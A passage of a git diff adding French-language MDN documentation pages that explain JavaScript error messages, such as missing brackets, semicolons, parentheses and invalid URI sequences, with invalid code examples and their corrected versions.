C'est cette liste d'arguments qui est, pour une certaine raison, invalide. Il s'agit peut-être d'un mot-clé (if ou var par exemple) utilisé comme un nom d'argument, ou d'un signe de ponctuation mal placé. Il peut également s'agir d'une valeur invalide comme un nombre ou un objet.

+ +

OK mais pourquoi cette formulation étrange ?

+ +

En effet, "Formal parameter" est une manière étrange de dire  « argument de fonction ». Le mot "malformed" (malformé) est utilisé car les ingénieurs travaillant sur Firefox engineers apprécient énormément les romans gothiques du XIXe.

+ +

Examples

+ +

Exemples invalides

+ +
var f = Function("x y", "return x + y;");
+// SyntaxError (virgule manquante)
+
+var f = Function("x,", "return x;");
+// SyntaxError (virgule mal placée)
+
+var f = Function(37, "console.log('OK')");
+// SyntaxError (des nombres ne peuvent être des noms)
+
+ +

Exemples valides

+ +
 // Ponctuation correcte
+var f = Function("x, y", "return x + y;");
+
+var f = Function("x", "return x;");
+
+// Voici une alternative plus rapide
+// si vous pouvez éviter Function
+var f = function (x) { return x; };
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/malformed_uri/index.html b/files/fr/web/javascript/reference/errors/malformed_uri/index.html new file mode 100644 index 0000000000..7226c9467e --- /dev/null +++ b/files/fr/web/javascript/reference/errors/malformed_uri/index.html @@ -0,0 +1,66 @@ +--- +title: 'URIError: malformed URI sequence' +slug: Web/JavaScript/Reference/Erreurs/Malformed_URI +tags: + - Erreurs + - JavaScript + - URIError +translation_of: Web/JavaScript/Reference/Errors/Malformed_URI +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
URIError: The URI to be encoded contains invalid character (Edge)
+URIError: malformed URI sequence (Firefox)
+URIError: URI malformed (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("URIError")}}

+ +

Quel est le problème ?

+ +

Il y a eu une erreur lors de l'encodage ou du décodage de l'URI. Un argument fourni à {{jsxref("decodeURI")}}, {{jsxref("encodeURI")}}, {{jsxref("encodeURIComponent")}} ou à {{jsxref("decodeURIComponent")}} n'était pas valide et la fonction concernée n'a pas pu encoder ou décoder la valeur correctement.

+ +

Exemples

+ +

Encodage

+ +

L'encodage permet de remplacer certains caractères par une, deux, trois voire quatre séquences d'échappement qui représente l'encodage UTF-8 du caractère. Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère surrogate qui ne fait pas partie d'une paire de codets :

+ +
encodeURI('\uD800');
+// "URIError: malformed URI sequence"
+
+encodeURI('\uDFFF');
+// "URIError: malformed URI sequence"
+
+ +

En revanche, si on dispose de la paire de codets :

+ +
encodeURI('\uD800\uDFFF');
+// "%F0%90%8F%BF"
+ +

Décodage

+ +

Le décodage permet de remplacer chaque séquence d'échappement dans le composant encodé par le caractère qu'elle représente. S'il n'existe aucun caractère correspondant, une exception sera déclenchée :

+ +
decodeURIComponent('%E0%A4%A');
+// "URIError: malformed URI sequence"
+
+ +

Avec la valeur d'entrée correcte, on a généralement quelque chose qui ressemble à :

+ +
decodeURIComponent('JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B');
+// "JavaScript_шеллы"
+ +

Voir aussi

+ +
    +
  • {{jsxref("URIError")}}
    • +
  • {{jsxref("decodeURI")}}
    • +
  • {{jsxref("encodeURI")}}
    • +
  • {{jsxref("encodeURIComponent")}}
    • +
  • {{jsxref("decodeURIComponent")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/fr/web/javascript/reference/errors/missing_bracket_after_list/index.html new file mode 100644 index 0000000000..f27872f633 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_bracket_after_list/index.html @@ -0,0 +1,57 @@ +--- +title: 'SyntaxError: missing ] after element list' +slug: Web/JavaScript/Reference/Erreurs/Missing_bracket_after_list +tags: + - Erreurs + - JavaScript + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: missing ] after element list
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}.

+ +

Quel est le problème ?

+ +

Il y a une erreur dans le littéral de tableau qui est uilisé. Il manque un crochet fermant ("]") ou une virgule qui sépare les éléments.

+ +

Exemples

+ +

Littéraux de tableaux incomplets

+ +
var liste = [1, 2,
+
+var instruments = [
+  "Ukulele",
+  "Guitare",
+  "Piano"
+};
+
+var data = [{toto: "truc"} {titi: "bidule"}];
+
+ +

Les versions correctes seraient :

+ +
var liste = [1, 2];
+
+var instruments = [
+ "Ukulele",
+ "Guitare",
+ "Piano"
+];
+
+var data = [{toto: "truc"}, {titi: "bidule"}];
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/fr/web/javascript/reference/errors/missing_colon_after_property_id/index.html new file mode 100644 index 0000000000..8b03eb22a3 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_colon_after_property_id/index.html @@ -0,0 +1,77 @@ +--- +title: 'SyntaxError: missing : after property id' +slug: Web/JavaScript/Reference/Erreurs/Missing_colon_after_property_id +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Expected ':' (Edge)
+SyntaxError: missing : after property id (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Lorsqu'on crée un objet en utilisant un initialisateur d'objet, il faut utiliser un deux-points ( : ) afin de séparer les clés des valeurs pour les propriétés de l'objet.

+ +
var obj = { cleDeLaPropriete: 'valeur' };
+
+ +

Exemples

+ +

Deux-points et signe égal

+ +

Le code qui suit provoquera une erreur car on utilise un signe égal (=) à la place du deux-points.

+ +
var obj = { cleDeLaPropriete = 'valeur' };
+// SyntaxError: missing : after property id
+
+ +

Pour corriger ce problème, on peut utiliser un deux-points ou bien affecter la nouvelle propriété après avoir créé l'objet :

+ +
var obj = { cleDeLaPropriete: 'valeur' };
+
+// ou encore :
+
+var obj = { };
+obj['cleDeLaPropriete'] = 'valeur';
+
+ +

Propriétés vides

+ +

On ne peut pas créer de propriétés vides de cette façon :

+ +
var obj = { cleDeLaPropriete; };
+// SyntaxError: missing : after property id
+
+ +

Si vous souhaitez définir une propriété sans valeur, vous pouvez utiliser le mot-clé {{jsxref("null")}} :

+ +
var obj = { cleDeLaPropriete: null };
+ +

Propriétés calculées

+ +

Si vous souhaitez créer une clé de propriété à partir d'une expression, il faudra utiliser des crochets pour encadrer l'expression (sinon le nom de la propriété ne pourra pas être calculé) :

+ +
var obj = { 'tr'+'uc': 'toto' };
+// SyntaxError: missing : after property id
+
+ +

Pour corriger l'erreur, il faudra placer l'expression entre crochets :

+ +
var obj = { ['tr'+'uc']: 'toto' };
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/fr/web/javascript/reference/errors/missing_curly_after_function_body/index.html new file mode 100644 index 0000000000..1a69b9696b --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_curly_after_function_body/index.html @@ -0,0 +1,67 @@ +--- +title: 'SyntaxError: missing } after function body' +slug: Web/JavaScript/Reference/Erreurs/Missing_curly_after_function_body +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Expected '}' (Edge)
+SyntaxError: missing } after function body (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Il y a une erreur de syntaxe près d'une création de fonction. Dans ce cas, il est préférable de vérifier que les parenthèses et accolades fermantes sont bien présentes et dans le bon ordre. Indenter et formater le code peut vous aider à vous y retrouver parmi les éventuels différents niveaux d'imbrication.

+ +

Exemples

+ +

Oubli d'une accolade fermante

+ +

La plupart du temps, il s'agit d'une accolade manquante dans le code de la fonction :

+ +
var charge = function() {
+  if (soleil) {
+    utiliserPanneauSolaire();
+  } else {
+    utiliserVelo();
+};
+
+ +

La forme correcte est :

+ +
var charge = function() {
+  if (soleil) {
+    utiliserPanneauSolaire();
+  } else {
+    utiliserVelo();
+  }
+};
+ +

Une erreur de ce type peut être moins visible lorsqu'on utilise les fonctions qui sont appelées immédiatement, les fermetures ou d'autres formes qui utilisent de nombreuses parenthèses et/ou accolades comme par exemple :

+ +
(function() { if (true) { return false; } );
+
+ +

Généralement, mettre en forme et vérifier l'indentation permet de repérer ces erreurs.

+ +
(function() {
+  if (true) {
+    return false;
+  }
+});
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/fr/web/javascript/reference/errors/missing_curly_after_property_list/index.html new file mode 100644 index 0000000000..52052eff14 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_curly_after_property_list/index.html @@ -0,0 +1,52 @@ +--- +title: 'SyntaxError: missing } after property list' +slug: Web/JavaScript/Reference/Erreurs/Missing_curly_after_property_list +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Expected '}' (Edge)
+SyntaxError: missing } after property list (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Il y a une coquille dans le littéral objet utilisé. Cela peut être dû à une accolade manquante ou à une virgule manquante. Il est aussi utile de vérifier que les accolades et les parenthèses sont bien ordonnées. Pour ce type d'erreur, une bonne indentation permet de repérer plus facilement la coquille parmi les lignes de code.

+ +

Exemples

+ +

Une virgule oubliée

+ +

Il arrive parfois que ce soit une virgule absente dans le littéral qui entraîne cette erreur :

+ +
var obj = {
+  a: 1,
+  b: { maProp: 2 }
+  c: 3
+};
+
+ +

La version correcte correspondante est :

+ +
var obj = {
+  a: 1,
+  b: { maProp: 2 },
+  c: 3
+};
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_formal_parameter/index.html b/files/fr/web/javascript/reference/errors/missing_formal_parameter/index.html new file mode 100644 index 0000000000..e194e8cbda --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_formal_parameter/index.html @@ -0,0 +1,77 @@ +--- +title: 'SyntaxError: missing formal parameter' +slug: Web/JavaScript/Reference/Erreurs/Missing_formal_parameter +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_formal_parameter +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: missing formal parameter (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

« Formal parameter » (ou « paramètre formel ») est une façon de désigner un paramètre d'une fonction. Ici, certains des paramètres de la fonction sont invalides. Lorsqu'on déclare une fonction, les paramètres doivent être des identifiants et non des valeurs (telles que des nombres, des chaînes de caractères ou des objets). La déclaration et l'appel de la fonction forment deux étapes distinctes. Les déclarations utilisent uniquement des identifiants comme paramètres. Lorsqu'on appelle une fonction, on fournit les valeurs à utiliser.

+ +

En JavaScript, les identifiants peuvent contenir n'importe quel caractère alphanumérique (ou "$" or "_") et ne doivent pas commencer par un nombre. Un identifiant n'est pas une chaîne de caractères, une chaîne de caractères est une donnée alors qu'un identifiant fait partie du code.

+ +

Exemples

+ +

Lorsqu'on définit une fonction, les paramètres doivent être des identifiants. Aucune des fonctions suivantes ne répond à ce critère (elles lèvent donc toutes une erreur) car elles utilisent des valeurs :

+ +
function carre(3) {
+  return nombre * nombre;
+};
+// SyntaxError: missing formal parameter
+
+function salutation("Coucou") {
+  return salut;
+};
+// SyntaxError: missing formal parameter
+
+function log({ obj: "value"}) {
+  console.log(arg)
+};
+// SyntaxError: missing formal parameter
+
+ +

Il faut utiliser des identifiants lors de la déclaration des fonctions :

+ +
function carre(nombre) {
+  return nombre * nombre;
+};
+
+function salutation(salut) {
+  return salut;
+};
+
+function log(arg) {
+  console.log(arg)
+};
+ +

Ensuite, on pourra appeler ces fonctions avec les arguments voulus :

+ +
carre(2); // 4
+salutation("Coucou"); // "Coucou"
+log({obj: "value"});  // Object { obj: "value" }
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_initializer_in_const/index.html b/files/fr/web/javascript/reference/errors/missing_initializer_in_const/index.html new file mode 100644 index 0000000000..60a5c519be --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_initializer_in_const/index.html @@ -0,0 +1,59 @@ +--- +title: 'SyntaxError: missing = in const declaration' +slug: Web/JavaScript/Reference/Erreurs/Missing_initializer_in_const +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Const must be initalized (Edge)
+SyntaxError: missing = in const declaration (Firefox)
+SyntaxError: Missing initializer in const declaration (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Une constante est une valeur qui ne peut pas être modifiée par le programme pendant l'exécution. Elle ne peut pas être changée avec une réaffectation ou une redéclaration. En JavaScript, les constantes sont déclarées grâce au mot-clé const. Il est également nécessaire de fournir une valeur d'initialisation dans l'instruction où on déclare la constante (ce qui est logique vu qu'on ne peut pas la modifier ensuite).

+ +

Exemples

+ +

Valeur d'initialisation manquante

+ +

À la différence de var ou de let, il est nécessaire d'indiquer une valeur lors de la déclaration. Si aucune valeur n'est indiquée, une exception sera levée :

+ +
const COLUMNS;
+// SyntaxError: missing = in const declaration
+ +

Résoudre le problème

+ +

On a le choix entre plusieurs options pour résoudre ce problème. Il faut comprendre le rôle de la constante en question.

+ +

Ajouter une valeur constante

+ +

On peut indiquer la valeur de la constante dans la même instruction :

+ +
const COLONNES = 80;
+ +

const, let ou var ?

+ +

const ne doit pas être utilisé si on ne souhaite pas déclarer de constante. Peut-être qu'on souhaite simplement déclarer une variable avec une portée de bloc grâce à let ou une variable globale avec var. Ces deux instructions ne nécessitent pas de valeur initiale.

+ +
let colonnes;
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_name_after_dot_operator/index.html b/files/fr/web/javascript/reference/errors/missing_name_after_dot_operator/index.html new file mode 100644 index 0000000000..6001e9ac34 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_name_after_dot_operator/index.html @@ -0,0 +1,69 @@ +--- +title: 'SyntaxError: missing name after . operator' +slug: Web/JavaScript/Reference/Erreurs/Missing_name_after_dot_operator +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: missing name after . operator
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

L'opérateur . (le point) est utilisé pour accéder aux propriétés d'un objet. Il est nécessaire d'indiquer le nom de la propriété à laquelle on souhaite accéder. Pour les propriétés dont le nom est calculé, il est préférable d'utiliser les crochets pour encadrer le nom. Cela permet de calculer une expression dont le résultat sera le nom de la propriété recherchée. Peut-être cherchiez-vous à utiliser l'opérateur de concaténation ? C'est l'opérateur + qu'il faut utiliser dans ce cas. Pour plus de détails, voir les exemples ci-après.

+ +

Exemples

+ +

Accéder à une propriété

+ +

Pour accéder à une propriété en JavaScript, on utilise le point (.) ou les crochets ([]) mais pas une combinaison des deux. Les crochets sont notamment utiles lorsqu'on souhaite accéder à des propriétés dont le nom est calculé.

+ +
var obj = { toto: { truc: "bidule", machin2: "bidule2" } };
+var i = 2;
+
+obj.[toto].[truc]
+// SyntaxError: missing name after . operator
+
+obj.toto."machin"+i;
+// SyntaxError: missing name after . operator
+
+ +

Pour corriger ce fragment de code, on pourra accéder aux propriétés de la façon suivante :

+ +
obj.toto.truc; // "bidule"
+// ou autrement
+obj["toto"]["truc"]; // "bidule"
+
+// pour les propriétés dont le
+// nom est calculé, il faut les
+// crochets
+obj.toto["machin" + i]; // "bidule2"
+
+ +

Accéder à une propriété ou concaténer ?

+ +

Si vous avez l'habitude de développer en utilisant un autre langage de programmation tel que {{Glossary("PHP")}}, il est possible de mélanger certains opérateurs et d'utiliser le point comme opérateur de concaténation, qui est l'opérateur + en JavaScript :

+ +
console.log("Coucou " . "monde");
+
+// SyntaxError: missing name after . operator
+ +

À la place, on écrira :

+ +
console.log("Coucou " + "monde");
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html new file mode 100644 index 0000000000..fad9106a6b --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html @@ -0,0 +1,56 @@ +--- +title: 'SyntaxError: missing ) after argument list' +slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_argument_list +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Expected ')' (Edge)
+SyntaxError: missing ) after argument list (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}.

+ +

Quel est le problème ?

+ +

 

+ +

Il y a une erreur avec la façon dont une fonction est appelée . Cela peut être une faute de frappe, un opérateur manquant, ou une chaîne non-échappée, par exemple .

+ +

Exemple

+ +

Parce qu'il n'y a pas d'opérateur "+" pour concaténer la chaîne de caractères, JavaScript s'attend à trouver une parenthèse après "PI : ", qu'il considère comme  l'argument de la fonction log. 

+ +
console.log("PI: " Math.PI);
+// SyntaxError: missing ) after argument list
+
+ +

La fonction log peut être corrigée en ajoutant un opérateur "+".

+ +
console.log("PI: " + Math.PI);
+// "PI: 3.141592653589793"
+ +

Chaînes non terminées

+ +
console.log('"Java" + "Script" = \"' + 'Java' + 'Script\");
+// SyntaxError: missing ) after argument list
+ +

Dans cet exemple, le moteur JavaScript considère qu'on souhaitait avoir ); dans la chaîne de caractères et l'ignore. Aussi, le moteur considère que l'appelle à console.log n'est pas terminé et qu'il manque une parenthèse fermante. Pour corriger ce problème, on peut rajouter une quote ' après la chaîne de caractères "Script" :

+ +
console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"');
+// '"Java" + "Script" = "JavaScript"'
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html new file mode 100644 index 0000000000..c33118256e --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html @@ -0,0 +1,70 @@ +--- +title: 'SyntaxError: missing ) after condition' +slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_condition +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Expected ')' (Edge)
+SyntaxError: missing ) after condition (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Il y a une erreur pour la condition écrite dans l'instruction if. Pour chaque langage de programmation, on utilise des instructions pour choisir quel bloc d'instructions exécuter selon les différentes entrées. L'instruction if permet d'exécuter une instruction si une condition donnée est vérifiée. En JavaScript, il faut que cette condition apparaisse entre parenthèses après le mot-clé  if :

+ +
if (condition) {
+  // faire quelque chose si la condition est vraie
+}
+ +

Exemples

+ +

Il s'agit peut-être simplement d'une coquille et il suffit alors de vérifier les parenthèses (ou plutôt leur absence) :

+ +
if (3 > Math.PI {
+  console.log("Pardon ?");
+}
+
+// SyntaxError: missing ) after condition
+
+ +

Pour corriger ce fragment de code, on ajoutera une parenthèse pour fermer la condition :

+ +
if (3 > Math.PI) {
+  console.log("Pardon ?");
+}
+ +

Si vous avez l'habitude d'utiliser un autre langage de programmation, peut-être avez-vous utilisé un mot-clé qui n'existe pas en JavaScript ?

+ +
if (done is true) {
+ console.log("we are done!");
+}
+
+// SyntaxError: missing ) after condition
+
+ +

Pour corriger cette erreur, on utilisera un opérateur de comparaison correct :

+ +
if (done === true) {
+ console.log("Et voilà !");
+}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/fr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html new file mode 100644 index 0000000000..ac9f8feb15 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html @@ -0,0 +1,83 @@ +--- +title: 'SyntaxError: missing ; before statement' +slug: Web/JavaScript/Reference/Erreurs/Missing_semicolon_before_statement +tags: + - Erreurs + - JavaScript + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Expected ';' (Edge)
+SyntaxError: missing ; before statement (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}.

+ +

Quel est le problème ?

+ +

Un point-virgule est absent quelque part. En JavaScript, les instructions doivent se terminer par des points-virgules. Certaines de ces instructions sont traitées par l'insertion automatique de point-virgule (ASI pour Automatic Semicolon Insertion), mais pour le code qui provoque l'erreur, un point-virgule est nécessaire afin que le moteur JavaScript puisse analyser le code source correctement.

+ +

La plupart du temps, cette erreur est la conséquence d'une autre erreur : ne pas « fermer » les chaînes de caractères correctement ou utiliser var de façon incorrecte. Il peut également y avoir trop de parenthèses à un endroit. Lorsque cette erreur apparaît, faites attention à la syntaxe du code environnant.

+ +

Exemples

+ +

Les chaînes laissées ouvertes

+ +

Cette erreur est parfois simplement provoquée par une chaîne dont les quotes ne sont pas échappées correctement ou qui ne sont pas correctement délimitées. Le moteur JavaScript s'attend donc à trouver la fin de la chaîne. Par exemple :

+ +
var toto = 'Ouvrir l'œil';
+// SyntaxError: missing ; before statement
+ +

Pour éviter cela, on pourra utiliser des doubles quotes ou échapper l'apostrophe :

+ +
var toto = "Ouvrir l'œil";
+var toto = 'Ouvrir l\'œil';
+
+ +

Déclarer des propriétés avec var

+ +

On ne peut pas déclarer de propriétés sur un objet ou un tableau avec une déclaration var.

+ +
var obj = {};
+var obj.toto = "coucou"; // SyntaxError missing ; before statement
+
+var array = [];
+var array[0] = "monde"; // SyntaxError missing ; before statement
+
+ +

Pour éviter cela, on n'utilisera pas le mot-clé var qui est inutile dans ces cas :

+ +
var obj = {};
+obj.toto = "coucou";
+
+var array = [];
+array[0] = "monde";
+
+ +

Mauvais mots-clés

+ +

Il peut arriver, notamment lorsqu'on provient d'un autre langage de programmation, d'utiliser des mots-clés qui n'ont pas du tout le même sens en JavaScript :

+ +
def print(info){
+  console.log(info);
+}; // SyntaxError missing ; before statement
+ +

À la place de def, on utilisera le mot-clé function :

+ +
function print(info){
+  console.log(info);
+};
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/more_arguments_needed/index.html b/files/fr/web/javascript/reference/errors/more_arguments_needed/index.html new file mode 100644 index 0000000000..6c33234995 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/more_arguments_needed/index.html @@ -0,0 +1,49 @@ +--- +title: 'TypeError: More arguments needed' +slug: Web/JavaScript/Reference/Erreurs/More_arguments_needed +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: argument is not an Object and is not null (Edge)
+TypeError: Object.create requires at least 1 argument, but only 0 were passed
+TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 0 were passed
+TypeError: Object.defineProperties requires at least 1 argument, but only 0 were passed
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}.

+ +

Quel est le problème ?

+ +

Lors de l'appel de la fonction, il y a eu une erreur due au manque d'argument. La fonction doit recevoir plus de paramètres afin de pouvoir fonctionner.

+ +

Exemples

+ +

La méthode {{jsxref("Object.create()")}} nécessite au moins un argument et {{jsxref("Object.setPrototypeOf()")}} requiert deux paramètres :

+ +
var obj = Object.create();
+// TypeError: Object.create requires more than 0 arguments
+
+var obj = Object.setPrototypeOf({});
+// TypeError: Object.setPrototypeOf requires more than 1 argument
+
+ +

On peut corriger cet exemple en utilisant {{jsxref("null")}} comme prototype :

+ +
var obj = Object.create(null);
+
+var obj = Object.setPrototypeOf({}, null);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/negative_repetition_count/index.html b/files/fr/web/javascript/reference/errors/negative_repetition_count/index.html new file mode 100644 index 0000000000..9ff58b2052 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/negative_repetition_count/index.html @@ -0,0 +1,45 @@ +--- +title: 'RangeError: repeat count must be non-negative' +slug: Web/JavaScript/Reference/Erreurs/Negative_repetition_count +tags: + - Erreurs + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Negative_repetition_count +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
RangeError: argument out of range (Edge)
+RangeError: repeat count must be non-negative (Firefox)
+RangeError: Invalid count value (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("RangeError")}}

+ +

Quel est le problème ?

+ +

La méthode {{jsxref("String.prototype.repeat()")}} a été utilisée avec un argument négatif. Or, cet argument doit être compris dans l'intervalle [0, +∞).

+ +

Exemples

+ +

Exemples invalides

+ +
'abc'.repeat(-1); // RangeError
+ +

Exemples valides

+ +
'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (converti en entier)
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.repeat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/no_non-null_object/index.html b/files/fr/web/javascript/reference/errors/no_non-null_object/index.html new file mode 100644 index 0000000000..a2196fd757 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/no_non-null_object/index.html @@ -0,0 +1,66 @@ +--- +title: 'TypeError: "x" is not a non-null object' +slug: Web/JavaScript/Reference/Erreurs/No_non-null_object +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/No_non-null_object +--- +
{{JSSidebar("Errors")}}
+ +

Message

+ +
TypeError: Invalid descriptor for property {x} (Edge)
+TypeError: "x" is not a non-null object (Firefox)
+TypeError: Property description must be an object: "x" (Chrome)
+TypeError: Invalid value used in weak set (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

Un objet devrait être trouvé et n'est pas fourni. La valeur {{jsxref("null")}} n'est pas un objet et ne fonctionnera pas, il est nécessaire de fournir un véritable objet pour que le code en question fonctionne.

+ +

Exemples

+ +

Absence d'un descripteur de propriété

+ +

Lorsqu'on utilise des méthodes telles que {{jsxref("Object.create()")}}, {{jsxref("Object.defineProperty()")}} ou {{jsxref("Object.defineProperties()")}}, le paramètre optionnel de description des propriétés doit être un descripteur sous la forme d'un objet. Si la valeur fournie n'est pas un objet (mais par exemple un nombre), l'appel à la méthode déclenchera une erreur :

+ +
Object.defineProperty({}, 'cle', 1);
+// TypeError: 1 is not a non-null object
+
+Object.defineProperty({}, 'cle', null);
+// TypeError: null is not a non-null object
+
+ +

Un descripteur de propriété valide aura la structure suivante :

+ +
Object.defineProperty({}, 'cle', { value: 'toto', writable: false });
+
+ +

Les clés de WeakMap et WeakSet sont des objets

+ +

Les objets {{jsxref("WeakMap")}} et {{jsxref("WeakSet")}} utilisent des objets comme clé. On ne peut pas utiliser d'autres types de valeurs pour les clés de ces objets.

+ +
var ws = new WeakSet();
+ws.add('toto');
+// TypeError: "toto" is not a non-null object
+ +

À la place, on utilisera des objets :

+ +
ws.add({toto: 'truc'});
+ws.add(window);
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.create()")}}
    • +
  • {{jsxref("Object.defineProperty()")}}, {{jsxref("Object.defineProperties()")}}
    • +
  • {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/no_properties/index.html b/files/fr/web/javascript/reference/errors/no_properties/index.html new file mode 100644 index 0000000000..0edd868cab --- /dev/null +++ b/files/fr/web/javascript/reference/errors/no_properties/index.html @@ -0,0 +1,42 @@ +--- +title: 'TypeError: "x" has no properties' +slug: Web/JavaScript/Reference/Erreurs/No_properties +tags: + - Erreurs + - JavaScript + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Errors/No_properties +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Unable to get property {x} of undefined or null reference (Edge)
+TypeError: null has no properties (Firefox)
+TypeError: undefined has no properties (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}.

+ +

Quel est le problème ?

+ +

Les valeurs {{jsxref("null")}} et {{jsxref("undefined")}} n'ont aucunes propriétés auxquelles accéder.

+ +

Exemples

+ +
null.toto;
+// TypeError: null has no properties
+
+undefined.truc;
+// TypeError: undefined has no properties
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("null")}}
    • +
  • {{jsxref("undefined")}}
    • +
